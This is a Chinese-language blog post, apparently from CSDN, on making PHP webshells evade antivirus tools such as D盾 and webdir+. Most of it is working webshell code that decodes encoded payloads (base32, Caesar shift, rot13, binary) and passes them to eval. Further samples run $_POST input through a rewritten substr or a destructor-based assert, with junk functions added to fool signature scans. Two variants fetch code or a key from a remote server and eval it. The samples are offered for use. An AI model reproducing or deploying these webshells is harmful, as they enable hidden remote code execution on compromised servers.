前言

由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束。

自定义加密Bypass

部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则 比如某dir+

比如这个 都能被检测出是shell

所以为了防止这种的规则 自定义加密显然是最优解

自定义加密可选性多了 只要能把加密后的字符还原回去就行 比如base32 base58 这类的base编码全家桶 或者自定义ascii移位 甚至是对称加密算法等都是可以绕过这类规则检测

base32编码payload
(https://github.com/pureqh/webshell):

<?php
class KUYE{public $DAXW = null;public $LRXV = null;function __construct(){$this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';$this->LRXV = @SYXJ($this->DAXW);@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");}}
new KUYE();
function MNWK($QSFX){$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';$NLHB = '';$v = 0;$vbits = 0;for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){$v <<= 8;$v += ord($QSFX[$i]);$vbits += 8;while ($vbits >= 5) {$vbits -= 5;$NLHB .= $BASE32_ALPHABET[$v >> $vbits];$v &= ((1 << $vbits) - 1);}}if ($vbits > 0){$v <<= (5 - $vbits);$NLHB .= $BASE32_ALPHABET[$v];}return $NLHB;}
function SYXJ($QSFX){$NLHB = '';$v = 0;$vbits = 0;for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){$v <<= 5;if ($QSFX[$i] >= 'a' && $QSFX[$i] <= 'z'){$v += (ord($QSFX[$i]) - 97);} elseif ($QSFX[$i] >= '2' && $QSFX[$i] <= '7') {$v += (24 + $QSFX[$i]);} else {exit(1);}$vbits += 5;while ($vbits >= 8){$vbits -= 8;$NLHB .= chr($v >> $vbits);$v &= ((1 << $vbits) - 1);}}return $NLHB;}
?>

  • ascii码移位payload(凯撒加密)
<?php
class FKPC{function __construct(){$this->TQYV = "bs^i%!\MLPQXwbolZ&8";$this->WZDM = @HHGJ($this->TQYV);@eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");}}
new FKPC();
function HHGJ($UyGv) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{$svfe[] = chr((ord($f[$i])+3));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>


居然没过webdir+
那如何解决呢 我们后面再说 当然应付D盾还是绰绰有余了

Rot13加密payload

<?phpclass KUYE{public $DAXW = null;public $LRXV = null;function __construct(){$this->DAXW = 'riny($_CBFG[mreb]);';$this->LRXV = @str_rot13($this->DAXW);@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");}}
new KUYE();?>

二进制转化payload

<?phpclass KUYE{public $DAXW = null;public $LRXV = null;function __construct(){$this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011';$this->LRXV = @BinToStr($this->DAXW);@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");}}
new KUYE();
function BinToStr($str){$arr = explode(' ', $str);foreach($arr as &$v){$v = pack("H".strlen(base_convert($v, 2, 16)), base_convert($v, 2, 16));}return join('', $arr);
}
?>


这里就不列举了 只要方法正确 绕过杀软是很简单的

通过http获得关键参数

上面那个凯撒密码不是被webdir+杀了吗 我们在这里将他绕过

众所周知凯撒密码需要设置往前或往后移几位ascii 这个参数可以设置为解密方法的输入参数 经过测试 此参数在源码中会被沙盒跑出了 因此不能过百度杀毒 ,那么 我不写本地不就行了 我直接起一个http服务访问文本获得参数值。

<?php
class FKPC{function __construct(){$url = "http://xxxxx:8080/1.txt";$fp = fopen($url, 'r');stream_get_meta_data($fp);while (!feof($fp)) {$body.= fgets($fp, 1024);}$this->x = $body;$this->TQYV = "bs^i%!\MLPQXwbolZ&8";$this->WZDM = @HHGJ($this->TQYV,$this->x);@eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");}}
new FKPC();function HHGJ($UyGv,$x) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{$svfe[] = chr((ord($f[$i])+$x));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>


当然肯定能用

但是 这转了一圈简直不低碳啊 我不能直接http获取payload吗 …
学习攻略

简化代码:

<?php
class KUYE{public $a = 'yshasaui';public $b = '';function __construct(){$url = "http://xxx/1.txt";$fp = fopen($url, 'r');stream_get_meta_data($fp);while (!feof($fp)) {$body.= fgets($fp, 1024);}$this->b = $body;@eval("/*GnSpe=121u*/".$this->b."/*Gn212Spe=u*/");}}
new KUYE();
?>

重写函数Bypass

众所周知 正则类杀软最喜欢直接把危险函数加入规则 那么 它杀的是函数名 还是逻辑呢?
学习攻略

试一试就知道了

我们的样本如下:

<?php$a = substr("assertxx",0,6);$a($_POST['x']);?>

这是个使用substr函数切割关键字的小马

直接扔到webdir+杀

毫无疑问的被杀了

那么 我们重写substr函数

function mysubstr($string, $start = 0, $length = null) {$result = '';$strLength = strlen($string);if ($length === null) {$length = $strLength;}$length = (int) $length;$start = $start < 0 ? ($strLength + $start) : ($start);$end = $length < 0 ? ($strLength + $length) : $start + $length;if ($start > $strLength || ($end - $start) === 0) {return $result;}for (; $start < $end; $start ++) {$result .= $string[$start];}return $result;
}

然后把函数替换

<?php
$b = 'assert(xyz@';
$c =  mysubstr($b,0,6);
$c($_POST['zero']);
function mysubstr($string, $start = 0, $length = null) {$result = '';$strLength = strlen($string);if ($length === null) {$length = $strLength;}$length = (int) $length;$start = $start < 0 ? ($strLength + $start) : ($start);$end = $length < 0 ? ($strLength + $length) : $start + $length;if ($start > $strLength || ($end - $start) === 0) {return $result;}for (; $start < $end; $start ++) {$result .= $string[$start];}return $result;
}
?>

再拿去杀

结论很清楚了

再来D盾杀一下

不错 报2级了 这就是沙盒型查杀和正则类查杀的明显区别 怎么过呢 用构造方法即可

<?phpclass pure
{public $a = '';function __destruct(){assert("$this->a");}
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($string, $start = 0, $length = null) {$result = '';$strLength = strlen($string);if ($length === null) {$length = $strLength;}$length = (int) $length;$start = $start < 0 ? ($strLength + $start) : ($start);$end = $length < 0 ? ($strLength + $length) : $start + $length;if ($start > $strLength || ($end - $start) === 0) {return $result;}for (; $start < $end; $start ++) {$result .= $string[$start];}return $result;
}
?>


看到这里大家可能也很奇怪 这里都没用到mysubstr函数 放上去不是多此一举吗
学习攻略

不好意思 恰恰不是 我们可以去掉这个函数 用D盾杀一下

<?phpclass pure
{public $a = '';function __destruct(){assert("$this->a");}
}
$b = new pure;
$b->a = $_POST['zero'];
?>


怎么样 是不是很有趣

这里放这堆代码并不是为了真的用它 而是为了过D盾的特征查杀 所以放什么函数是无所谓的。

比如这样:

<?phpclass pure
{public $a = '';function __destruct(){assert("$this->a");}
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($a,$b) {echo "?sasasjajksjka";echo "?sasasjajksjka";echo "?sasasjajksjka";echo "?sasasjajksjka";echo "?sasasjajksjka";echo "?sasasjajksjka";echo "?sasasjajksjka";echo "?sasasjajksjka";
}
?>


这里只介绍了重写substr函数 那么其他的函数可以吗 当然可以

学习攻略

【网络安全】一些webshell免杀的技巧相关推荐

  1. Webshell免杀绕过waf

    转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...

  2. Webshell免杀研究

    前一个阶段闲着没事干,所以将之前做的关于webshell免杀的一篇研究性文章发表了出来,供大家一起学习探讨,文章目录如下,目前已发表与先知社区,欢迎探讨交流~ 文章链接:https://xz.aliy ...

  3. webshell免杀的一些学习和思考——以PHP为例

    目录 前言 一.关于webshell 1.数据传递 (1)HTTP请求中获取数据 (2)从远程URL中获取数据 (3)从磁盘文件中获取数据 (4)从数据库中读取 (5)从图片头部中获取 2.代码执行 ...

  4. 免杀实战之面向PHP的WebShell免杀

    0X00普通的一句话木马 <pre id="PTXkG"><?php eval($_POST['a']); ?> //函数的相似替换 <?php as ...

  5. 流包装器实现WebShell免杀

    说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...

  6. Webshell免杀-JSP

    前言 在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限.然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全 ...

  7. Webshell免杀-PHP

    前言 在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限.然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全 ...

  8. JSP webshell免杀——webshell免杀

    好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬. 结果我免杀跟着学的视频就是这位大佬的. 更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在. 果然,实习就是好, ...

  9. vc++源码免杀特殊技巧

    一.Debug 和 Release 编译方式的区别: Debug 通常称为调试版本,它包含调试信息,并且不作任何优化,便于程序员调试程序.Release 称为发布版本,它往往是进行了各种优化,使得程序 ...

最新文章

  1. 双网卡绑定之负载均衡高可用(bond)
  2. 对比 C++ 和 Python,谈谈指针与引用
  3. 计算机网络-VRRP
  4. 解决Vue开发过程中与后台服务器跨域问题
  5. delphi 一些知识文章地址记录(正则)
  6. 导出一条数据_来自小师弟的灵魂拷问之数据泵导出丢失的那些数据量去哪了?...
  7. hdu P3374 String Problem
  8. 用ASP设计购物推车
  9. 通信中间件技术之DDS
  10. 10g新特性之multi-block reads自动调优
  11. PS1545L-ASEMI低压降肖特基二极管PS1545L
  12. js实现当日期转农历日期
  13. NPAPI 为什么会被 Chrome 禁用
  14. Cadence Allegro批量编辑元件属性的方法图文教程及视频演示
  15. 苹果mac休眠快捷键_史上最详细的苹果Macbook快捷键使用
  16. python能做什么效果_一行 Python 能实现什么丧心病狂的功能?
  17. 路由器恢复出厂设置上网方式服务器无响应,路由器恢复出厂设置后不能联网了如何解决...
  18. java while详解_Java while循环-Java while-嗨客网
  19. 计算机专业退休有退休金,那些专业有退休金 哪个行业的退休金最多?
  20. Threejs—BIM管道流向动态效果

热门文章

  1. 成功解决PermissionError: [Errno 13] Permission denied: ‘F:\\File\\data\\123.csv‘
  2. ML之XGBoost:利用XGBoost算法对波士顿数据集回归预测(模型调参【2种方法,ShuffleSplit+GridSearchCV、TimeSeriesSplitGSCV】、模型评估)
  3. DayDayUp:2019春节电影《疯狂的外星人》和《新喜剧之王》两部电影观后感
  4. Python添加邮件附件并通过邮件发送测试报告
  5. Informatic 使用过程中的问题
  6. 三、python沉淀之路--列表(list)
  7. 【解决办法】Oracle登录报错ORA-28000: the account is locked
  8. Mysql常用命令详解
  9. (莱昂氏unix源代码分析导读-46)权限、管道
  10. ERP系统模块完全解析──工作中心